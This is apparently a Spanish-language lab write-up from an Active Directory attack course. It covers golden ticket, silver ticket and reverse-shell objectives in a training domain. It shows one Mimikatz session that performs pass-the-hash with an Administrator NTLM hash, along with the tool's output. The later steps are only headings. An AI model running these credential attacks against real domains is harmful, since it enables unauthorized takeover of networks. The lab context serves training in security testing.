Learning Objective - 8 y 9

Golden ticket

Creamos una sesion utilizando el DA desde cualquier computador utilizando Mimikatz.

PS C:\AD\Tools> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:af0686cc0ca8f04df42210c9ac980760
user    : Administrator
domain  : dollarcorp.moneycorp.local
program : cmd.exe
impers. : no
NTLM    : af0686cc0ca8f04df42210c9ac980760
  |  PID  5128
  |  TID  4660
  |  LSA Process is now R/W
  |  LUID 0 ; 41699318 (00000000:027c47f6)
  \_ msv1_0   - data copy @ 00000216750E60F0 : OK !
  \_ kerberos - data copy @ 00000216753FB7C8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000021675AEF428 (32) -> null

mimikatz #

Luego en la consola generada, importamos el Invoke Mimikatz y realizamos la obtencion de los hashes del usuario krbgt.

Creando el golden ticket:

Silver Ticket

Ejecutamos el comando para crear el silver ticket

Importando ticket mimikatz

Obteniendo Reverse tcp shell creando un Schedule Task con Silver Ticket

PreviousLearning Objective - 7NextLearning Objective - 10

Last updated